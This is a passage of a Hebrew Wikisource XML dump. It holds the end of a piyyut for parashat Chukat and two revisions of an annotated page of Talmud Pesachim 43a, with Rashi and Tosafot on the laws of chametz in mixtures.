אַזְכִּיר אוֹת / וְנִפְלָאוֹת / בִּצְבָאוֹת / צוּר נִגְלָה{{ש}}
הוֹשַׁעְתָּם / אֶת בְּנֵי תָם / בַּעֲלוֹתָם / מֵעֶגְלָה{{ש}}
בְּבוֹאָם אֶל / מְקוֹם בֵּית אֵל / הֶרְאָם אֵל / הַגְּדֻלָּה{{ר1}}
{{מודגש|אָז יָשִׁיר יִשְׂרָאֵל עֲלִי בְאֵר עֱנוּ לָהּ.}}{{ממס|במדבר כא יז}}

הֵן אֶפְטֹר / נֵס לִפְתֹּר / בְּבוֹא הַתּוֹר / עַם לַחֲמֹל{{ש}}
הָרְשָׁעִים / נִקְבָּעִים / בְּתוֹךְ סְלָעִים / עַמְּךָ קְמֹל{{ש}}
יָעַצְתְּ / וְדִבַּרְתָּ / וְהֵשַׁבְתָּ / לָהֶם גְּמוּל{{ש}}
עַם פְּלִיאִים / הֵם בָּאִים / חֲצוּיִים / יְמִין וּשְׂמֹאל{{ש}}
הֵן יָצָאתָ / הַר אַדְמְתָה / לִקְרָאתָהּ / לְהַקְבִּילָה
{{רפרן|אָז יָשִׁיר יִשְׂרָאֵל עֲלִי בְאֵר עֱנוּ לָהּ}}

נִדְכָּאוּ / עַד שָׁאוּ / וְהֵם רָאוּ / בְּשׂוֹנְאֵיהֶם{{ש}}
נִקְמָתָם / הוֹדַעְתָּם / מַפַּלְתָּם / לְאַחֲרֵיהֶם{{ש}}
בְּאֵר הָלְכָה / וְהוֹלִיכָה / אֶת דַּכָּא / לִפְנֵיהֶם{{ש}}
כְּמוֹ חָזוּ / אֲזַי עַם זוּ / כֵּן יֶחֱזוּ / פִּלְאֵיהֶם{{ש}}
בְּאַהֲבָתְךָ / וְחִבָּתְךָ / בְּהַרְאוֹתְךָ אֶת פְּלִילָה
{{רפרן|אָז יָשִׁיר יִשְׂרָאֵל עֲלִי בְאֵר עֱנוּ לָהּ}}&lt;noinclude&gt;

[[קטגוריה:פיוטי אהבה]]
[[קטגוריה:פיוטי פרשת חוקת]]
&lt;noinclude/&gt;</text>
      <sha1>npr4ba6ksnzissz54tqni3r2avtcyf9</sha1>
    </revision>
  </page>
  <page>
    <title>ביאור:הל&quot;מ פסחים מג א</title>
    <ns>106</ns>
    <id>1728738</id>
    <revision>
      <id>3020648</id>
      <parentid>3020645</parentid>
      <timestamp>2026-06-18T12:04:39Z</timestamp>
      <contributor>
        <username>מאירושולי</username>
        <id>35234</id>
      </contributor>
      <comment>/* תוספות */</comment>
      <origin>3020648</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14264" sha1="gm2jxvb8np8kpixnxtsy3vsazjldq53" xml:space="preserve">{{כותרת_ביאור_הלמ|פסחים|מג|א|מב ב|מג ב|ביאור=כן}}
&lt;קטע התחלה=ג/&gt;
[דף מג עמוד א] {{הל&quot;מ-רק-גמרא|שהגיעו לפרקן ולא הגיעו לשנים, בנות עניים טופלות אותן בסיד, בנות עשירים טופלות אותן בסולת, בנות מלכים בשמן המור, שנאמר ששה חדשים בשמן המור. מאי שמן המור? רב הונא בר ירמיה אומר: סטכת, רב ירמיה בר אבא אמר: שמן זית שלא הביא שליש. תניא, רבי יהודה אומר: אנפיקנין - שמן זית שלא הביא שליש. ולמה סכין אותו - מפני שמשיר את השיער ומעדן את הבשר. }}
{{הל&quot;מ-רק-גמרא|זה הכלל כל שהוא ממין דגן. תניא, אמר רבי יהושע: וכי מאחר ששנינו כל שהוא מין דגן הרי זה עובר בפסח - למה מנו חכמים את אלו - כדי שיהא רגיל בהן ובשמותיהן. כי הא, דההוא בר מערבא איקלע לבבל, הוה בישרא בהדיה. אמר להו: קריבו לי מתכילתא. שמע דקאמרי: קריבו ליה כותח. כיון דשמע כותח - פירש. }}
{{הל&quot;מ-רק-גמרא|הרי אלו באזהרה. מאן תנא דחמץ דגן גמור על ידי תערובות, ונוקשה בעיניה בלאו? - אמר רב יהודה אמר רב: רבי מאיר היא. דתניא: שיאור ישרף, ונותנו לכלבו. והאוכלו - בארבעים. הא גופא קשיא! אמרת שיאור ישרף - אלמא: אסור בהנאה. והדר תני: ונותנו לפני כלבו - אלמא: מותר בהנאה! - הכי קאמר: שיאור ישרף - דרבי מאיר לרבי מאיר, דרבי יהודה לרבי יהודה. ונותנו לפני כלבו - דרבי מאיר לרבי יהודה. והאוכלו בארבעים - אתאן לרבי מאיר. שמעינן ליה לרבי מאיר: נוקשה בעיניה - בלאו, וכל שכן חמץ דגן גמור על ידי תערובת. רב נחמן אמר: רבי אליעזר היא, דתניא: }}
{{שוליים|א}}על חמץ דגן גמור - ענוש כרת, על עירובו - בלאו, דברי רבי אליעזר. וחכמים אומרים: על חמץ דגן גמור - ענוש כרת, על עירובו - בלא כלום. {{הל&quot;מ-רק-גמרא|ושמעינן ליה לרבי אליעזר דאמר חמץ דגן גמור על ידי תערובת בלאו - וכל שכן נוקשה בעיניה. ורב נחמן, מאי טעמא לא אמר כרב יהודה? - אמר לך: דילמא עד כאן לא קאמר רבי מאיר התם - אלא נוקשה בעיניה, אבל חמץ דגן גמור על ידי תערובת - לא. ורב יהודה מאי טעמא לא אמר כרב נחמן? - אמר לך: עד כאן לא קאמר רבי אליעזר התם - אלא חמץ דגן גמור על ידי תערובת, אבל נוקשה בעיניה - לא אמר. תניא כוותיה דרב יהודה}} ת&quot;ר: כל מחמצת לא תאכלו - לרבות כותח הבבלי, ושכר המדי, וחומץ האדומי. וזיתום המצרי. יכול יהא ענוש כרת - תלמוד לומר כי כל אכל חמץ ונכרתה על חמץ דגן גמור - ענוש כרת, ועל עירובו - בלאו {{הל&quot;מ-ריף-ראש|דברי רבי אליעזר וחכמים אומרים על חמץ דגן גמור ענוש כרת ועל עירובו בלא כלום. אף על גב דאמור רבנן על עירובו בלא כלום מילקא הוא דלא לקי אבל איסורא איכא וכי אמרי רבנן נמי דלא לקי הני מילי היכא דליכא כזית בכדי אכילת פרס כגון כותח הבבלי וכיוצא בו אבל היכא דאיכא כזית בכדי אכילת פרס אפילו לרבנן לקי}}:{{הל&quot;מ-רק-ראש|. ומדפי' רב אלפס דברי חכמים מכלל דאית ליה הלכה כחכמים.‍ אף על גב דסתם מתני' דלא כרבנן לא חשיב ליה סתמא דתנן לקמן בפרקין [דף מח ב]‍ שיאור ישרף והאוכלו פטור ור' מאיר פליג עלה בברייתא דקאמר דלוקה על שאור אבל במתני' לא פליג ואף על גב דרב אלפס פסק לקמן (סוף סימן י') כרבי מאיר משום דתנא למילתיה במתניתין‍ בלשון חכמים מכל מקום בהא דאמר ר&quot;מ בברייתא דלוקה על שאור בהא הלכה כרבי יהודה דאמר האוכלו פטור כיון דלא תני הא דרבי מאיר דאמר בברייתא דלוקה בלשון חכמים דמתניתין וא&quot;כ רבי מאיר ורבי יהודה הלכה כרבי יהודה וסתמא דהכא הוי סתם ואחר כך מחלוקת לענין חמץ נוקשה‍ הלכך גם לענין עירובו לא חשיבא סתמא זו סברת רב אלפס אלא שפסק כחכמים: }}
. {{הל&quot;מ-רק-גמרא|מאן שמעת ליה דאמר על עירובו בלאו - רבי אליעזר היא, ואילו נוקשה בעיניה - לא קאמר. שמע מינה: נוקשה לרבי אליעזר לית ליה. ורבי אליעזר, עירובו בלאו מנא ליה? - דכתיב: כל מחמצת לא תאכלו - אי הכי - כרת נמי לחייב, דהא כתיב כי כל אכל מחמצת ונכרתה! - ההוא מיבעי ליה לכדתניא (מחמצת) - אין לי אלא שנתחמץ מאליו, מחמת דבר אחר מניין - תלמוד לומר כל מחמצת ונכרתה. - אי הכי - דלאו נמי להכי הוא דאתא! - אלא טעמא דרבי אליעזר מכל. - התם נמי, הכתיב כל! - ההוא מיבעי ליה לרבות את הנשים. - נשים, מדרב יהודה אמר רב נפקא. דאמר רב יהודה אמר רב, וכן תנא דבי רבי ישמעאל: אמר קרא איש או אשה כי יעשו מכל חטאת האדם - השוה הכתוב איש לאשה לכל עונשין שבתורה! - איצטריך, }}
&lt;קטע סוף=ג/&gt;
&lt;/div&gt;

&lt;div class='gmara_rashi'&gt;
==רש&quot;י==
&lt;קטע התחלה=ר/&gt;

'''שהגיעו לפרקן ולא הגיעו לשנים''' -  שיש להן שערות כאילו הגיעו לפרקן והן לא הגיעו לכלל שנים ובושות על כך:

'''עשירות טופלות אותן בסולת''' -  ומשיר את השער:

'''אנפיקינון''' -  במנחות תנן אנפקינון לא יביא ומפרש ר' יהודה אנפקינין הוא שמן זית כו':

'''סטכת''' -  לא איתפרש:

'''ומעדן את הבשר''' -  אשקלייר&quot;א {{קטן|(אישקלייר&quot;א: מבריק, מצחצח)}} :

'''שיהא בקי בהן''' -  שידע ממה הן עושין אותו שיהא נזהר בהן כשיביאו לו כותח ידע שיש חלב ויש שם חמץ אם פסח הוא:

'''מתכילתא''' -  שום לפתן ללפת בו את הפת:

'''כיון דשמע''' -  שקראו שמו כותח:

'''פירש''' -  שבקי היה וידע שיש שם חלב:

'''מאן תנא''' -  דמתני' דאית ליה חמץ דגן גמור שנתערב במין אחר ואינו בעין שנימוח אי נמי חמץ נוקשה רע ואיתיה בעיניה מוזהרין על אכילתו בלאו דקתני מתניתין כותח הבבלי ושכר המדי חמץ דגן גמור אלא שנתערב בדבר אחר ותכשיטי נשים בעיניה הוא אבל נוקשה הוא דאינו ראוי לאכילה וקתני באזהרה דעובר עליהן בלאו:

'''שיאור''' -  שלא נתחמץ כל צורכו שיאור פליגי במתני' ר&quot;מ קרי שיאור את שהכסיפו פניו וזהו תחלת חימוצו ולר' יהודה הוי שיאור שהתחיל ליסדק כבר סדקין דקין כקרני חגבים אחד לכאן ואחד לכאן אבל שהכסיפו פניו לרבי יהודה מצה היא ולר&quot;מ קרני חגבים חמץ גמור הוא והכא הכי קאמר שיאור ישרף דאסור בהנאה שיאור דר&quot;מ הכסיפו פניו ישרף לר&quot;מ ושיאור דרבי יהודה ישרף לר' יהודה וסיפא דקתני ונותנו לפני כלבו אליבא דרבי יהודה קאמר ליה ואשיאור דר&quot;מ קאי והאוכלו בארבעים אתאן לר&quot;מ כלומר לר&quot;מ האוכלו לשיאור זה שרבי יהודה מתיר בהנאה סופג את הארבעים אלמא שמעינן ליה לר&quot;מ דאית ליה חדא מהני תרתי דמתני' דקאמר נוקשה בעיני' בלאו כגון שיאור דנוקשה הוא דאינו ראוי לאכילה הואיל והחמיץ קצת ולא גמר ולהחמיץ עיסות אחרות כשאור נמי לא חזי וקאמר בלאו וכ&quot;ש חמץ גמור ע&quot;י תערובת דקסבר רב יהודה ע&quot;י תערובת חמיר מנוקשה בעין והאי לאו דנוקשה נפקא ליה מכל מחמצת לא תאכלו כל רבויא הוא כדלקמן:

'''ועל עירובו בלאו''' -  מכל מחמצת כדלקמן:

'''מ&quot;ט לא אמר כדרב יהודה''' -  דמוקי מתניתין כר&quot;מ: רב נחמן ס&quot;ל נוקשה בעיניה חמור מחמץ גמור ע&quot;י תערובת:

'''תניא כוותיה דרב יהודה''' -  דאמר חמץ גמור בתערובת חמור: לענין כרת לא כתיב כל מחמצת אלא כל אוכל חמץ ולקמן מפרש ליה: כותח ושכר וחומץ וזיתום כולן חמץ גמור מעורב בהן כותח איכא פת ובהנך תלתא איכא שערי וכולהו בני אכילה ושתיה נינהו אבל זומן ועמילן וקולן דנוקשה הוא ובעיניה הואיל ולאו בני אכילה נינהו לא תנינהו והיינו כדרב יהודה דאמר מודה היה ר&quot;א בנוקשה בעיניה דפטור:

'''ור&quot;א עירובו בלאו מנא ליה''' -  פשיטא מדאפקיה בלשון מחמצת וגבי כרת נמי מחמצת כתיב:

'''ההוא''' -  מחמצת דגבי כרת לאו לעירובו אתא אלא לנתחמץ מחמת דבר אחר:

'''אי הכי''' -  האי דגבי לאו נמי אימא לאזהורי אנתחמץ מחמת דבר אחר אתא ואזהרה דתערובת מנא ליה:

'''התם נמי''' -  גבי כרת הא כתיב כל אוכל מחמצת ונכרתה:

'''לכל עונשין''' -  מכאן שהנשים חייבות על כל לא תעשה שבתורה שהרי עונשן מלקות:&lt;קטע סוף=ר/&gt;
&lt;/div&gt;

&lt;div class='gmara_tosfot'&gt;
==תוספות==
&lt;קטע התחלה=ת/&gt;
[[File:תוס פסחים 3 מג א למה מנו חכמים את אלו.ogg|thumb|תוס_פסחים_3_מג_א_למה מנו חכמים את אלו]]
'''למה''' מנו חכמים את אלו. תימה לרשב&quot;א הא איצטריך למנותם לאשמועינן שהן בלאו ולא בכרת ותירץ ר&quot;י דלא הוה ליה לאשמועינן אלא תרי מינייהו חד לנוקשה בעיניה וחד ע&quot;י תערובת ועוד הקשה דת&quot;ק שמנאם לית ליה האי כללא דהא איכא תכשיטי נשים שהן מין דגן ואין עובר בפסח אלא רבי אליעזר הוא דקאמר לה:
[[File:תוס פסחים 3 מג א מאן תנא חמץ גמור ע&quot;י תערובת ונוקשה בעיניה בלאו.ogg|thumb|תוס_פסחים_3_מג_א_מאן תנא חמץ גמור ע&quot;י תערובת ונוקשה בעיניה בלאו]]
''' מאן''' תנא חמץ גמור ע&quot;י תערובת ונוקשה בעיניה בלאו. משמע בשמעתין דאי לאו דאיתרבי חמץ נוקשה למלקות אפילו איסור לא היה בו ותימה לר&quot;י דבפ&quot;ק דחולין {{הפניה-גמ|חולין|כג|ב}} בעי רבי זירא הרי עלי לחמי תודה מן החמץ או מן המצה והביא שיאור מהו שיאור דמאן אי דר&quot;מ לר&quot;מ מדלקי עליה חמץ הוא והשתא מנא ליה דהוי חמץ לענין תודה דילמא שאני חמץ בפסח דרבייה קרא למלקות (גרידא) ואור&quot;י דהתם נמי איכא שום קרא דמרבינן מיניה חמץ נוקשה והא דתניא בפרק כל המנחות באות מצה {{הפניה-גמ|מסכת=כן|מנחות|נג|ב}} אין מחמיצין בתפוחים דהוי חמץ נוקשה כדמשמע התם היינו לכתחילה אבל בדיעבד כשר:
[[File:תוס פסחים 3 מג א ואילו נוקשה בעיניה לא קתני.ogg|thumb|תוס_פסחים_3_מג_א_ואילו נוקשה בעיניה לא קתני]]
''' ואילו''' נוקשה בעיניה לא קתני. וא&quot;ת ונימא דמשום הכי לא חשיב ליה משום דכ&quot;ש הוא כדאמר רב נחמן וי&quot;ל דאי כ&quot;ש הוא הוה ליה למיתני לאשמועינן דלית ביה כרת:
[[File:תוס פסחים 3 מג א ונותנו לפני כלבו דר&quot;מ לרבי יהודה.ogg|thumb|תוס_פסחים_3_מג_א_ונותנו לפני כלבו דר&quot;מ לרבי יהודה]]
''' ונותנו''' לפני כלבו דר&quot;מ לרבי יהודה. מדאורייתא אפי' באכילה שרי כדאמרינן בפ&quot;ק דחולין {{הפניה-גמ|חולין|כג|ב}} דמצה מעלייתא היא אלא מדרבנן אסור:

''' ההוא''' כל לאתויי נשים. תימה לר&quot;י הא תרי כי כל כתיבי גבי כרת כי כל אוכל חמץ ונכרתה וכי כל אוכל מחמצת ונרבינן עירובו לכרת ואפילו לרבנן דלא דרשי כל כי כל דרשי ואור&quot;י דפשיטא ליה לגמרא דאתא לשום דרשא:&lt;קטע סוף=ת/&gt;
&lt;/div&gt;

==עין משפט ונר מצוה==
{{קטע עם כותרת|עין משפט ונר מצוה/פסחים/פרק ג|מג א}}
[[קטגוריה:בבלי מסכת פסחים]]
{{מפרשים לדף גמרא|פסחים|ג|מג|א}}</text>
      <sha1>gm2jxvb8np8kpixnxtsy3vsazjldq53</sha1>
    </revision>
    <revision>
      <id>3020649</id>
      <parentid>3020648</parentid>
      <timestamp>2026-06-18T12:37:39Z</timestamp>
      <contributor>
        <username>מאירושולי</username>
        <id>35234</id>
      </contributor>
      <comment>/* תוספות */</comment>
      <origin>3020649</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14411" sha1="bw0ogq5j4spmn464j07xwg24aebdaai" xml:space="preserve">{{כותרת_ביאור_הלמ|פסחים|מג|א|מב ב|מג ב|ביאור=כן}}
&lt;קטע התחלה=ג/&gt;
[דף מג עמוד א] {{הל&quot;מ-רק-גמרא|שהגיעו לפרקן ולא הגיעו לשנים, בנות עניים טופלות אותן בסיד, בנות עשירים טופלות אותן בסולת, בנות מלכים בשמן המור, שנאמר ששה חדשים בשמן המור. מאי שמן המור? רב הונא בר ירמיה אומר: סטכת, רב ירמיה בר אבא אמר: שמן זית שלא הביא שליש. תניא, רבי יהודה אומר: אנפיקנין - שמן זית שלא הביא שליש. ולמה סכין אותו - מפני שמשיר את השיער ומעדן את הבשר. }}
{{הל&quot;מ-רק-גמרא|זה הכלל כל שהוא ממין דגן. תניא, אמר רבי יהושע: וכי מאחר ששנינו כל שהוא מין דגן הרי זה עובר בפסח - למה מנו חכמים את אלו - כדי שיהא רגיל בהן ובשמותיהן. כי הא, דההוא בר מערבא איקלע לבבל, הוה בישרא בהדיה. אמר להו: קריבו לי מתכילתא. שמע דקאמרי: קריבו ליה כותח. כיון דשמע כותח - פירש. }}
{{הל&quot;מ-רק-גמרא|הרי אלו באזהרה. מאן תנא דחמץ דגן גמור על ידי תערובות, ונוקשה בעיניה בלאו? - אמר רב יהודה אמר רב: רבי מאיר היא. דתניא: שיאור ישרף, ונותנו לכלבו. והאוכלו - בארבעים. הא גופא קשיא! אמרת שיאור ישרף - אלמא: אסור בהנאה. והדר תני: ונותנו לפני כלבו - אלמא: מותר בהנאה! - הכי קאמר: שיאור ישרף - דרבי מאיר לרבי מאיר, דרבי יהודה לרבי יהודה. ונותנו לפני כלבו - דרבי מאיר לרבי יהודה. והאוכלו בארבעים - אתאן לרבי מאיר. שמעינן ליה לרבי מאיר: נוקשה בעיניה - בלאו, וכל שכן חמץ דגן גמור על ידי תערובת. רב נחמן אמר: רבי אליעזר היא, דתניא: }}
{{שוליים|א}}על חמץ דגן גמור - ענוש כרת, על עירובו - בלאו, דברי רבי אליעזר. וחכמים אומרים: על חמץ דגן גמור - ענוש כרת, על עירובו - בלא כלום. {{הל&quot;מ-רק-גמרא|ושמעינן ליה לרבי אליעזר דאמר חמץ דגן גמור על ידי תערובת בלאו - וכל שכן נוקשה בעיניה. ורב נחמן, מאי טעמא לא אמר כרב יהודה? - אמר לך: דילמא עד כאן לא קאמר רבי מאיר התם - אלא נוקשה בעיניה, אבל חמץ דגן גמור על ידי תערובת - לא. ורב יהודה מאי טעמא לא אמר כרב נחמן? - אמר לך: עד כאן לא קאמר רבי אליעזר התם - אלא חמץ דגן גמור על ידי תערובת, אבל נוקשה בעיניה - לא אמר. תניא כוותיה דרב יהודה}} ת&quot;ר: כל מחמצת לא תאכלו - לרבות כותח הבבלי, ושכר המדי, וחומץ האדומי. וזיתום המצרי. יכול יהא ענוש כרת - תלמוד לומר כי כל אכל חמץ ונכרתה על חמץ דגן גמור - ענוש כרת, ועל עירובו - בלאו {{הל&quot;מ-ריף-ראש|דברי רבי אליעזר וחכמים אומרים על חמץ דגן גמור ענוש כרת ועל עירובו בלא כלום. אף על גב דאמור רבנן על עירובו בלא כלום מילקא הוא דלא לקי אבל איסורא איכא וכי אמרי רבנן נמי דלא לקי הני מילי היכא דליכא כזית בכדי אכילת פרס כגון כותח הבבלי וכיוצא בו אבל היכא דאיכא כזית בכדי אכילת פרס אפילו לרבנן לקי}}:{{הל&quot;מ-רק-ראש|. ומדפי' רב אלפס דברי חכמים מכלל דאית ליה הלכה כחכמים.‍ אף על גב דסתם מתני' דלא כרבנן לא חשיב ליה סתמא דתנן לקמן בפרקין [דף מח ב]‍ שיאור ישרף והאוכלו פטור ור' מאיר פליג עלה בברייתא דקאמר דלוקה על שאור אבל במתני' לא פליג ואף על גב דרב אלפס פסק לקמן (סוף סימן י') כרבי מאיר משום דתנא למילתיה במתניתין‍ בלשון חכמים מכל מקום בהא דאמר ר&quot;מ בברייתא דלוקה על שאור בהא הלכה כרבי יהודה דאמר האוכלו פטור כיון דלא תני הא דרבי מאיר דאמר בברייתא דלוקה בלשון חכמים דמתניתין וא&quot;כ רבי מאיר ורבי יהודה הלכה כרבי יהודה וסתמא דהכא הוי סתם ואחר כך מחלוקת לענין חמץ נוקשה‍ הלכך גם לענין עירובו לא חשיבא סתמא זו סברת רב אלפס אלא שפסק כחכמים: }}
. {{הל&quot;מ-רק-גמרא|מאן שמעת ליה דאמר על עירובו בלאו - רבי אליעזר היא, ואילו נוקשה בעיניה - לא קאמר. שמע מינה: נוקשה לרבי אליעזר לית ליה. ורבי אליעזר, עירובו בלאו מנא ליה? - דכתיב: כל מחמצת לא תאכלו - אי הכי - כרת נמי לחייב, דהא כתיב כי כל אכל מחמצת ונכרתה! - ההוא מיבעי ליה לכדתניא (מחמצת) - אין לי אלא שנתחמץ מאליו, מחמת דבר אחר מניין - תלמוד לומר כל מחמצת ונכרתה. - אי הכי - דלאו נמי להכי הוא דאתא! - אלא טעמא דרבי אליעזר מכל. - התם נמי, הכתיב כל! - ההוא מיבעי ליה לרבות את הנשים. - נשים, מדרב יהודה אמר רב נפקא. דאמר רב יהודה אמר רב, וכן תנא דבי רבי ישמעאל: אמר קרא איש או אשה כי יעשו מכל חטאת האדם - השוה הכתוב איש לאשה לכל עונשין שבתורה! - איצטריך, }}
&lt;קטע סוף=ג/&gt;
&lt;/div&gt;

&lt;div class='gmara_rashi'&gt;
==רש&quot;י==
&lt;קטע התחלה=ר/&gt;

'''שהגיעו לפרקן ולא הגיעו לשנים''' -  שיש להן שערות כאילו הגיעו לפרקן והן לא הגיעו לכלל שנים ובושות על כך:

'''עשירות טופלות אותן בסולת''' -  ומשיר את השער:

'''אנפיקינון''' -  במנחות תנן אנפקינון לא יביא ומפרש ר' יהודה אנפקינין הוא שמן זית כו':

'''סטכת''' -  לא איתפרש:

'''ומעדן את הבשר''' -  אשקלייר&quot;א {{קטן|(אישקלייר&quot;א: מבריק, מצחצח)}} :

'''שיהא בקי בהן''' -  שידע ממה הן עושין אותו שיהא נזהר בהן כשיביאו לו כותח ידע שיש חלב ויש שם חמץ אם פסח הוא:

'''מתכילתא''' -  שום לפתן ללפת בו את הפת:

'''כיון דשמע''' -  שקראו שמו כותח:

'''פירש''' -  שבקי היה וידע שיש שם חלב:

'''מאן תנא''' -  דמתני' דאית ליה חמץ דגן גמור שנתערב במין אחר ואינו בעין שנימוח אי נמי חמץ נוקשה רע ואיתיה בעיניה מוזהרין על אכילתו בלאו דקתני מתניתין כותח הבבלי ושכר המדי חמץ דגן גמור אלא שנתערב בדבר אחר ותכשיטי נשים בעיניה הוא אבל נוקשה הוא דאינו ראוי לאכילה וקתני באזהרה דעובר עליהן בלאו:

'''שיאור''' -  שלא נתחמץ כל צורכו שיאור פליגי במתני' ר&quot;מ קרי שיאור את שהכסיפו פניו וזהו תחלת חימוצו ולר' יהודה הוי שיאור שהתחיל ליסדק כבר סדקין דקין כקרני חגבים אחד לכאן ואחד לכאן אבל שהכסיפו פניו לרבי יהודה מצה היא ולר&quot;מ קרני חגבים חמץ גמור הוא והכא הכי קאמר שיאור ישרף דאסור בהנאה שיאור דר&quot;מ הכסיפו פניו ישרף לר&quot;מ ושיאור דרבי יהודה ישרף לר' יהודה וסיפא דקתני ונותנו לפני כלבו אליבא דרבי יהודה קאמר ליה ואשיאור דר&quot;מ קאי והאוכלו בארבעים אתאן לר&quot;מ כלומר לר&quot;מ האוכלו לשיאור זה שרבי יהודה מתיר בהנאה סופג את הארבעים אלמא שמעינן ליה לר&quot;מ דאית ליה חדא מהני תרתי דמתני' דקאמר נוקשה בעיני' בלאו כגון שיאור דנוקשה הוא דאינו ראוי לאכילה הואיל והחמיץ קצת ולא גמר ולהחמיץ עיסות אחרות כשאור נמי לא חזי וקאמר בלאו וכ&quot;ש חמץ גמור ע&quot;י תערובת דקסבר רב יהודה ע&quot;י תערובת חמיר מנוקשה בעין והאי לאו דנוקשה נפקא ליה מכל מחמצת לא תאכלו כל רבויא הוא כדלקמן:

'''ועל עירובו בלאו''' -  מכל מחמצת כדלקמן:

'''מ&quot;ט לא אמר כדרב יהודה''' -  דמוקי מתניתין כר&quot;מ: רב נחמן ס&quot;ל נוקשה בעיניה חמור מחמץ גמור ע&quot;י תערובת:

'''תניא כוותיה דרב יהודה''' -  דאמר חמץ גמור בתערובת חמור: לענין כרת לא כתיב כל מחמצת אלא כל אוכל חמץ ולקמן מפרש ליה: כותח ושכר וחומץ וזיתום כולן חמץ גמור מעורב בהן כותח איכא פת ובהנך תלתא איכא שערי וכולהו בני אכילה ושתיה נינהו אבל זומן ועמילן וקולן דנוקשה הוא ובעיניה הואיל ולאו בני אכילה נינהו לא תנינהו והיינו כדרב יהודה דאמר מודה היה ר&quot;א בנוקשה בעיניה דפטור:

'''ור&quot;א עירובו בלאו מנא ליה''' -  פשיטא מדאפקיה בלשון מחמצת וגבי כרת נמי מחמצת כתיב:

'''ההוא''' -  מחמצת דגבי כרת לאו לעירובו אתא אלא לנתחמץ מחמת דבר אחר:

'''אי הכי''' -  האי דגבי לאו נמי אימא לאזהורי אנתחמץ מחמת דבר אחר אתא ואזהרה דתערובת מנא ליה:

'''התם נמי''' -  גבי כרת הא כתיב כל אוכל מחמצת ונכרתה:

'''לכל עונשין''' -  מכאן שהנשים חייבות על כל לא תעשה שבתורה שהרי עונשן מלקות:&lt;קטע סוף=ר/&gt;
&lt;/div&gt;

&lt;div class='gmara_tosfot'&gt;
==תוספות==
&lt;קטע התחלה=ת/&gt;
[[File:תוס פסחים 3 מג א למה מנו חכמים את אלו.ogg|thumb|תוס_פסחים_3_מג_א_למה מנו חכמים את אלו]]
'''למה''' מנו חכמים את אלו. תימה לרשב&quot;א הא איצטריך למנותם לאשמועינן שהן בלאו ולא בכרת ותירץ ר&quot;י דלא הוה ליה לאשמועינן אלא תרי מינייהו חד לנוקשה בעיניה וחד ע&quot;י תערובת ועוד הקשה דת&quot;ק שמנאם לית ליה האי כללא דהא איכא תכשיטי נשים שהן מין דגן ואין עובר בפסח אלא רבי אליעזר הוא דקאמר לה:
[[File:תוס פסחים 3 מג א מאן תנא חמץ גמור ע&quot;י תערובת ונוקשה בעיניה בלאו.ogg|thumb|תוס_פסחים_3_מג_א_מאן תנא חמץ גמור ע&quot;י תערובת ונוקשה בעיניה בלאו]]
''' מאן''' תנא חמץ גמור ע&quot;י תערובת ונוקשה בעיניה בלאו. משמע בשמעתין דאי לאו דאיתרבי חמץ נוקשה למלקות אפילו איסור לא היה בו ותימה לר&quot;י דבפ&quot;ק דחולין {{הפניה-גמ|חולין|כג|ב}} בעי רבי זירא הרי עלי לחמי תודה מן החמץ או מן המצה והביא שיאור מהו שיאור דמאן אי דר&quot;מ לר&quot;מ מדלקי עליה חמץ הוא והשתא מנא ליה דהוי חמץ לענין תודה דילמא שאני חמץ בפסח דרבייה קרא למלקות (גרידא) ואור&quot;י דהתם נמי איכא שום קרא דמרבינן מיניה חמץ נוקשה והא דתניא בפרק כל המנחות באות מצה {{הפניה-גמ|מסכת=כן|מנחות|נג|ב}} אין מחמיצין בתפוחים דהוי חמץ נוקשה כדמשמע התם היינו לכתחילה אבל בדיעבד כשר:
[[File:תוס פסחים 3 מג א ואילו נוקשה בעיניה לא קתני.ogg|thumb|תוס_פסחים_3_מג_א_ואילו נוקשה בעיניה לא קתני]]
''' ואילו''' נוקשה בעיניה לא קתני. וא&quot;ת ונימא דמשום הכי לא חשיב ליה משום דכ&quot;ש הוא כדאמר רב נחמן וי&quot;ל דאי כ&quot;ש הוא הוה ליה למיתני לאשמועינן דלית ביה כרת:
[[File:תוס פסחים 3 מג א ונותנו לפני כלבו דר&quot;מ לרבי יהודה.ogg|thumb|תוס_פסחים_3_מג_א_ונותנו לפני כלבו דר&quot;מ לרבי יהודה]]
''' ונותנו''' לפני כלבו דר&quot;מ לרבי יהודה. מדאורייתא אפי' באכילה שרי כדאמרינן בפ&quot;ק דחולין {{הפניה-גמ|חולין|כג|ב}} דמצה מעלייתא היא אלא מדרבנן אסור:
[[File:תוס פסחים 3 מג א ההוא כל לאתויי נשים.ogg|thumb|תוס_פסחים_3_מג_א_ההוא כל לאתויי נשים]]
''' ההוא''' כל לאתויי נשים. תימה לר&quot;י הא תרי כי כל כתיבי גבי כרת כי כל אוכל חמץ ונכרתה וכי כל אוכל מחמצת ונרבינן עירובו לכרת ואפילו לרבנן דלא דרשי כל כי כל דרשי ואור&quot;י דפשיטא ליה לגמרא דאתא לשום דרשא:&lt;קטע סוף=ת/&gt;
&lt;/div&gt;

==עין משפט ונר מצוה==
{{קטע עם כותרת|עין משפט ונר מצוה/פסחים/פרק ג|מג א}}
[[קטגוריה:בבלי מסכת פסחים]]
{{מפרשים לדף גמרא|פסחים|ג|מג|א}}</text>
      <sha1>bw0ogq5j4spmn464j07xwg24aebdaai</sha1>
    </revision>
  </page>
  <page>
    <title>ביאור:הל&quot;מ פסחים מג ב</title>
    <ns>106</ns>
    <id>1728739</id>
    <revision>
      <id>3020695</id>
      <parentid>2939093</parentid>
      <timestamp>2026-06-18T19:21:28Z</timestamp>
      <contributor>
        <username>מאירושולי</username>
        <id>35234</id>
      </contributor>
      <comment>/* תוספות */</comment>
      <origin>3020695</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="12233" sha1="qr8puxz1rfyergnylggxglcuhikyhfn" xml:space="preserve">{{כותרת_ביאור_הלמ|פסחים|מג|ב|מג א|מד א|ביאור=כן}}
&lt;קטע התחלה=ג/&gt;
